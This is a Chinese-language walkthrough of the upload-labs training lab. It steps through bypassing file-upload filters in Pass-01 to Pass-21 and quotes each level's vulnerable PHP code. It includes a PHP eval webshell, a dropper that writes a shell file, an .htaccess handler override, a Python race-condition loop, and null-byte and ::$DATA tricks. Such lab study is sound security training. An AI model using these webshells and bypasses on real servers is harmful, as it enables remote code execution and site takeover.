upload-labs

项目地址:https://github.com/c0ny1/upload-labs

攻略地址:https://www.cnblogs.com/chu-jian/p/15515770.html

https://www.cnblogs.com/henry666/p/17051491.html

https://www.freebuf.com/articles/web/287193.html

整理一下文件上传思路

Pass-01

image-20240815103704350

可以看到,要上传一个websehll上去,但上传区要求上传图片,先看看网页源码,有没有前端过滤。

image-20240815103819718

可以看到表单里有个checkFile的函数,跟进看下具体检查方法


function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name) == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}

可以看到对文件后缀进行了提取,再对比,我们可以抓包改后最绕过,先准备个webshell的图片马

<?php @eval($_POST['a']); ?>

上传时,抓包

image-20240815111542381

我们把这个改成1.php试试

image-20240815111640434

上传成功,然后可以看下传的文件到哪里去了

image-20240815111932275

路径是../upload/1.php,然后我们访问一下,看下能不能被访问

image-20240815112106224

可以被访问,拿蚁剑连接试试

image-20240815112213091

攻略中还提到了禁用js的方法,但这种方法有缺陷,因为禁用了js代码,如果在实战中,网站的一些正常功能可能无法显示。当然打靶通关是可以的。

image-20240815112451171

直接禁用,就可以直接上传php文件了,这里

image-20240815112652632

攻略里有个复制源码下来,去除这个js代码的方法,我觉得还是挺新鲜的,可以试试

保存源代码

image-20240815113009099

然后删除判断的js代码

image-20240815125005614

然后修改表单的action为上传目标地址

如果我们打开,是有上传文件的界面,但是不知道要上传给谁。这时我们返回到最开始,右键—检查—网络—然后上传一个正常的图片。这样我们就可以看到这个文件传给谁了。

image-20240815125121367

Pass-02

image-20240815125727732

一样的界面,同样的思路,先看源码

image-20240815125717038

有前端过滤,查看过滤规则,但这个函数的具体内容没找到,先试试简单的改后缀,好像也上传成功了

image-20240815130244335

image-20240815130326706

也访问的到,看看蚁剑能不能连

image-20240815130358747

同样连接成功,看下源代码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}

原来是对mime类型,过滤,按题应该修改mime类型才对,这里我传的图片马,所以不用改mime类型,如果我上传的是php文件

image-20240815130628995

image-20240815130647368

Pass-03

同样的思路走一遍

image-20240815133057483

这里应该是后端对后缀进行了过滤,我们试试双写php,看看能不能绕过

image-20240815133149161

可以看到成功绕过,但路径好像有变化,上传的文件会自动重命名

image-20240815133255153

然后,这样的后缀不懂能不能解析,试试php5

image-20240815134033385

好像是因为没有修改mime类型,再修改mime类型为application/otect-stream,还是不行,但是变成下载文件了,试试在里面加个命令,看能不能执行,还是不行,我按攻略走走试试。原来是有些东西没开

,我们需要在phpstudy的http.conf文件添加如下一行, 目的是为了让网站能够解析后缀为php5文件, 然后重启phpstudy

phpstudy的apache服务器无法解析运行以.php5,.phtml等非.php后缀的文件的解决方法_php显示fcgidinitialenv无效-CSDN博客

AddType application/x-httpd-php .php .phtml .php5

image-20240815140132299

AddHandler fcgid-script .fcgi .php .php5 .phtml
FcgidInitialEnv PHP_FCGI_MAX_REQUESTS 1000
FcgidMaxRequestsPerProcess 1000
FcgidMaxProcesses 15
FcgidIOTimeout 120
FcgidIdleTimeout 120
# 全局默认使用的PHP版本配置
FcgidInitialEnv PHPRC "D:/phpstudy_pro/Extensions/php/php7.3.4nts"
FcgidWrapper "D:/phpstudy_pro/Extensions/php/php7.3.4nts/php-cgi.exe" .php
FcgidWrapper "D:/phpstudy_pro/Extensions/php/php7.3.4nts/php-cgi.exe" .php5
FcgidWrapper "D:/phpstudy_pro/Extensions/php/php7.3.4nts/php-cgi.exe" .phtml
# 上传文件的最大尺寸 100MB
FcgidMaxRequestLen 104857600

image-20240815143010618

主要是不解析的问题,关键是要知道还可以用什么后缀绕过

php5、php3、phtml

Pass-04

因为基本都过滤完了,这后面就有点难了,我就直接看按攻略走了

image-20240815143224631

.htaccess文件是apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件, 可以实现网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户访问目录等等。

要注意的是, 当php版本高于5.2.17时,.htaccess文件上传漏洞就不再存在, 所以说这个漏洞在实战环境下几乎时不肯能存在的

自己新建一个.htaccess文件

<FilesMatch "webshell">
Sethandler application/x-httpd-php
</FilesMatch>

.htaccess会改变uploads这个目录下的文件解析规则, 调用php的解析器去解析一个文件名只需包含“webshell”字符串的任意文件

简单来说, 若一个文件的文件名为webshell.jpg, 其内容是phpinfo(), 那么apache就会调用php解析器去解析此文件

上传文件

<?php phpinfo();?>

暂时跳过这关

Pass-05

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

这里代码比较简单,正好练习下php的代码debug,我们把代码复制到phpstom,然后简单修改一下代码

deldot:删除文件名末尾的点

strrchr:查找一个字符串在另一个字符串中 末次 出现的位置,并返回从字符串中的这个位置起,一直到字符串结束的所有字符

strtolower:转换为小写

str_ireplace:去除字符串::$DATA,这个应该是其它数据就不管它了

trim:去除首尾的空格

<?php

$file_name = trim(" .123.PHP. ");
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.'); // 查找一个字符串在另一个字符串中 末次 出现的位置,并返回从字符串中的这个位置起,一直到字符串结束的所有字符
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空
echo $file_ext;

function deldot($s){
for($i = strlen($s)-1;$i>0;$i--){
$c = substr($s,$i,1);
if($i == strlen($s)-1 and $c != '.'){
return $s;
}

if($c != '.'){
return substr($s,0,$i+1);
}
}
}

image-20240815152018550

下个断点在deldot那,然后可以看到字符串已经被读进来了,单步执行,到deldot函数时,直接步出,可以发现尾巴的点已经没了。

image-20240815152301199

继续执行,可以看到strrchr就是提取后缀的作用,也就是整个串中最后一个点之后的所有内容

image-20240815152439146

然后就是转换成小写

image-20240815152535538

收尾去空没啥变化

image-20240815152555938

构造个绕过参数5.php. .注意中间的空格,再来调试试试

image-20240815152726812

可以看到去完点空格还是存在的,继续调试

image-20240815152750594

这次提取的就是点和空格了,去完空就剩个点了,而5.php.我们是可以解析的

image-20240815152818470

抓包改后缀

image-20240815152928502

访问也是成功解析了

image-20240815152954804

Pass-06

源码分析

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
//...

可以看到,这一关与上一关的差别就是没有进行大小转换了,所以我们可以利用纯大小或大小写混合的方法绕过,这里就用纯大写了

image-20240815153649881

image-20240815154037207

这里apahce好像不解析,我用nginx才解析出来了

Pass-07

同样将代码与之前的代码对比

$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

可以发现,少了trim函数的处理,说明没有对空格进行过滤,我们可以通过添加空格来绕过,直接在文件名微步添加可

image-20240815154617734

访问解析

image-20240815154653454

Pass-08

$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

可以看到这一关是没有去点,所以我们可以通过在文件结尾加个点的方式绕过

image-20240815155001184

可以看到上传成功,访问解析试试

image-20240815155040866

可以成功解析

Pass-09

$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空

这一关就没有对;;DATA进行替换了,这个又是什么原理

https://blog.csdn.net/weixin_44032232/article/details/109005766

在window的时候如果文件名+”::$DATA”会把::$DATA之后的数据当成文件流处理,不会检测后缀名,(也就是说,会自动过滤掉文件的后缀名)且保持::$DATA之前的文件名,他的目的就是不检查后缀名

例如:

  “shell.php::$DATA”, Windows会自动去掉末尾的::$DATA变成”shell.php”

所以我们可以在后面加上::$DATA进行绕过

image-20240815160114610

成功上传,访问解析,注意不要连着::$DATA一起访问

image-20240815160230085

Pass-10

这一关以试利用两点中间加空格绕过和Pass-05一样,就不做解析了

Pass-11

$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}

str_ireplace:https://www.runoob.com/php/func-string-str-replace.html

这个函数的意思就是把后缀和黑名单中的成员对比,一样就给他换成空,所以我们可以用双写的方法来试试

image-20240815161718429

原理就是换了一个php还有一个php,访问解析试试

image-20240815161800624

Pass-12

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}

简单分析下代码

$file_ext = substr($_FILES['upload_file']['name'], strrpos($_FILES['upload_file']['name'], ".") + 1);

strrpos:查找 “php” 在字符串中最后一次出现的位置(大小写敏感)

获取文件名称最后一个”.”后面的字符串当作文件后缀

$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

通过GET请求来获取save_path参数的值, 也就是说这个值是可控的, 若我们将这个值修改成../upload/webshell.php%00, 也就是在文件名后面添加截断符号%00 ,这样做的作用是将截断数据, Windows创建文件时会忽略后面 rand(10, 99).date("YmdHis").".".$file_ext这行代码, 这样$img_path变量值就变成了../upload/webshell.php

%00 是 URL 编码中的一个字符,它表示一个空字符(NULL 字符)

move_uploaded_file($temp_file,$img_path)

将文件的名称修改成webshell.jpg, 通过这行代码可以将webshell.jpg移动至upload目录, 并将文件名修改成webshell.php

%00截断法只适用于php版本低于5.3的, 且需要在phpstudy把魔术引号函数magic_quotes_gpc关闭掉,这里环境有点问题,我就拿CTFhub的题目来练习

image-20240815163449782

代码是差不多的,路径都可以不用改,让他生成一个test.php,然后把1.jpg的内容写进去

image-20240815163939149

没报异常,访问也没问题,蚁剑连接也成功了

image-20240815164045509

Pass-13

此关卡与pass-12相似, 但不同的是pass-12的save_path参数是通过get请求获取的, 而这关是通过post请求获取的, get请求传递的参数后端会自动进行解码, 但是post请求传递的参数后端不会自动解码, 因此我们要对截断符%00进行url解码,解码完看不到东西是因为解码完事NULL,这里环境复现有点问题,就只能看看攻略了

Pass-14

image-20240815165001374

这关任务要求变了,我们先看看源码

function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}

这里会读文件开头的两个字节来验证,所以我们需要在图片马前面加上GIF89a,255216等相应的字节码,这里就测试两种方法

一:制作图片马

copy btest.jpg/b + 14.php/ webshell.jpg

image-20240815192844569

二:添加文件头

image-20240815193048120

注意空行,访问解析,解析不了,得配合文件上传测试

image-20240815193303588

Pass-15

function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
if(stripos($types,$ext)>=0){
return $ext;
}else{
return false;
}
}else{
return false;
}
}

getimagesize() 函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。

返回结果说明

  • 索引 0 给出的是图像宽度的像素值
  • 索引 1 给出的是图像高度的像素值
  • 索引 2 给出的是图像的类型,返回的是数字,其中1 = GIF,2 = JPG,3 = PNG,4 = SWF,5 = PSD,6 = BMP,7 = TIFF(intel byte order),8 = TIFF(motorola byte order),9 = JPC,10 = JP2,11 = JPX,12 = JB2,13 = SWC,14 = IFF,15 = WBMP,16 = XBM
  • 索引 3 给出的是一个宽度和高度的字符串,可以直接用于 HTML 的 标签
  • 索引 bits 给出的是图像的每种颜色的位数,二进制格式
  • 索引 channels 给出的是图像的通道值,RGB 图像默认是 3
  • 索引 mime 给出的是图像的 MIME 信息,此信息可以用来在 HTTP Content-type 头信息中发送正确的信息,如: header(“Content-type: image/jpeg”);

image_type_to_extension这个函数的作用是将返回的类型作为拓展名,所以哦我们只要让getimagesize返回的扩展名是争取的即可

所以和Pass-14一样,这里就不作演示了

Pass-16

此关卡使用exif_imagetype()函数来识别文件类型, 此函数和getimagesize()的原理差不多, 都是通过读取文件头来判断文件类型和前两个一样,也不作演示了

Pass-17

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];

$target_path=UPLOAD_PATH.'/'.basename($filename);

// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);

//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);

if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}

}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);

if($im == false){
$msg = "该文件不是png格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagepng($im,$img_path);

@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}

}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);

@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}

imagecreatefromjpeg — 由文件或 URL 创建一个新图象,由于新的图像文件是经过二次渲染后的, 所以我们在图像中布置的恶意代码也会被刷新, 从而导致不能配合文件包含漏洞来解析脚本文件

但是, 二次渲染后的文件并不是所有文件内容都会被刷新, 有一小部分是没有修改的, 我们只需找到这一小部分内容的位置, 然后将代码插入进去, 就能实现绕过,所以我们先上传一个gif文件,然后把访问到的gif文件和原来的文件对比,看看哪些部分没有被修改

image-20240815231040077

开头几乎一样,不同的主要是后面,我们只要在不要破坏文件结构的情况下插入代码即可

image-20240815231227996

重新上传

image-20240815231349188

成功解析

Pass-18

此关卡主要考察条件竞争, 如下代码所示, 后端先将文件上传至网站目录, 然后才对文件进行检验来决定是否删除这个文件, 如果我们在上传文件的瞬间, 也就是文件没被删除的时候, 访问这个文件, 就能实现绕过,就是后台开个爆破,我们去访问这个文件

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;

if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}

所以先上传一个shell.php,然后用bp抓包,因为只要一直请求,所以不用设置什么爆破参数,直接清楚即可

image-20240816094035964

不用payload,一直发包即可

image-20240816095640674

然后用默认的线程数即可

image-20240816095743054

然后发包,用另一个浏览器一直访问18.php地址,只要在上传的一瞬间,他还没来的及删除、修改就可以了。但这里我没有试成功,可能是线程数不够大(后面调成900就行了),这里有看了另一篇文章,试下他的方法https://blog.csdn.net/qq_43665434/article/details/115131927,这个写shell方法还比较好测,看phpinfo()有时候点快了刷新掉了,改一下18.php文件

#18.php
#用来写入木马文件shell.phpPOST
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"]); ?>');?>

image-20240816103212141

图片有错,一句话得马格式错了,用python写一个请求18.php的脚本,也可以手动刷,这个多刷几次,去连一下试试,这里用下作者的脚本

#1.py
#用来请求18.php
import requests
url = "http://192.168.174.160/upload/upload/18.php"
url_2 = "http://192.168.174.160/upload/upload/shell.php"
while True:
html = requests.get(url)
html_2 = requests.get(url_2)
if html_2.status_code == 200: #判断shell.php是否写入成功
print("OK")
break

image-20240816103913980

成了,shell也创建了,我们用蚁剑连连试试

image-20240816105814052

Pass-19

首先创建了一个Myupload类, 并调用了此类的upload函数, 传递UPLOAD_PATH作为upload函数的参数, UPLOAD_PATH的值是上传文件的所在目录, 也就是/upload

$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
$status_code = $u->upload(UPLOAD_PATH);

转到upload函数的定义处, 这里要重点注意setDir这个函数, 此函数用于设置文件上传的目录,此处有一行代码写错了

function setDir( $dir ){

if( !is_writable( $dir ) ){
return "DIRECTORY_FAILURE";
} else {
#$this->cls_upload_dir = $dir;
$this->cls_upload_dir = $dir.'/';
return 1;
}
}

就是少了个/,到时候图片和upload目录就连在一起了

如下代码规定了白名单后缀, 这里要特别注意7z这个后缀, 这后缀浏览器是无法解析的, 当浏览器遇到无法解析的后缀时, 就会往前解析, 要是我们上传文件名为webshell.php.7z, 那么浏览器就会解析.php后缀而不会解析.7z后缀

var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );

剩下的就是对问文件的属性进行判断了

//myupload.php
class MyUpload{
/** upload()
**
** Method to upload the file.
** This is the only method to call outside the class.
** @para String name of directory we upload to
** @returns void
**/
function upload( $dir ){

$ret = $this->isUploadedFile();//判断文件是否上传成功

if( $ret != 1 ){
return $this->resultUpload( $ret );
}

$ret = $this->setDir( $dir );//设置上传目录
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

$ret = $this->checkExtension();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

$ret = $this->checkSize();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

// if flag to check if the file exists is set to 1

if( $this->cls_file_exists == 1 ){

$ret = $this->checkFileExists();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}

// if we are here, we are ready to move the file to destination

$ret = $this->move();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

// check if we need to rename the file

if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}

// if we are here, everything worked as planned :)

return $this->resultUpload( "SUCCESS" );

}

};

具体的操作就是我们把文件的后缀改成.php.7z即可

image-20240816121612972

然后借助文件包含来访问

image-20240816122045773

也可以利用图片马的方式还有条件竞争的方式,这里就不过多演示了

Pass-20

image-20240816122259564

这一关我们可以控制两个param,看看源码

  $file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

if(!in_array($file_ext,$deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}else{
$msg = '上传出错!';
}
}else{
$msg = '禁止保存为该类型文件!';
}

} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

只对保存名称进行了过滤,所以我们需要绕过的也是save_name,抓包

image-20240816123015888

这里有两种方式绕过,可以%00截断

image-20240816123454420

但之前用过了,这里就不测试了,我们用move_uploaded_file()的另一个特性,会忽略掉文件末尾的 /.

image-20240816123530076

访问解析

image-20240816123605958

Pass-21

这一关白名单
验证过程:

  1. 验证上传路径是否存在
  2. 验证[‘upload_file’]的content-type是否合法(可以抓包修改)
  3. 判断POST参数是否为空定义$file变量(关键:构造数组绕过下一步的判断)
  4. 判断file不是数组则使用explode(‘.’, strtolower($file))对file进行切割,将file变为一个数组
  5. 判断数组最后一个元素是否合法
  6. 数组第一位和$file[count($file) - 1]进行拼接,产生保存文件名file_name
  7. 上传文件

首先判断上传的文件类型是否属于: image/jpeg, image/png, image/gif

//检查MIME
$allow_type = array('image/jpeg','image/png','image/gif');

然后检测上传的文件名称是否为数组, 若不为数组, 则使用explode函数将文件名按照“.”进行分割, 并将结果转换为小写, 这个 $file 会是一个数组, 数组的第一项是文件名,第二项是文件扩展名

也就是说如果我们上传的文件名称若为数组, 那么他就不会执行这行代码, 而是继续往下执行代码

if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
<?php
header("Content-Type:text/html;charset=utf-8");
$arr = explode('.', "upload . php");
print_r($arr[0]);
echo "\n";
print_r($arr[1]);
?>

image-20240816130053390

例如此处我传递了两个数组元素, 分别是save_name[0]=upload.phpsave_name[2]=jpg

end($file) 获取到的就是这个数组的最后一个元素,也就是文件扩展名, 然后对这个扩展名进行检验, 由于我们构造数组的最后一个元素为白名单后缀jpg, 因此能够上传文件

使用 reset() 函数获取数组的第一个元素,即upload.php , $file[count-1]的值为空(下面的代码很好解释了此值为何为空), 最终$file_name的值为upload.php

$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}

可以测试下上面的流程

<?php
header("Content-Type:text/html;charset=utf-8");
$save_name[0] = "upload.php";
$save_name[2] = "jpg";
print(count($save_name)); //输出数组的个数:2
echo "\n";
print(end($save_name));//输出jpg
echo "\n";
print(reset($save_name));//输出upload.php
echo "\n";
print($save_name[count($save_name) - 1]); //输出$save_name[1]的值:空
?>

image-20240816125700625

我们要改的就是下面的要求

修改content-type
修改POST参数为数组类型,索引[0]为upload-20.php,索引[2]为jpg|png|gif
只要第二个索引不为1,$file[count($file) - 1]就等价于$file[2-1],值为空

image-20240816130359822

多的我们可以自己新建一个,注意空行就行,访问解析

image-20240816130449255

到这里就结束了,总结一下

xmind-1

防护手段

image-20240816140441102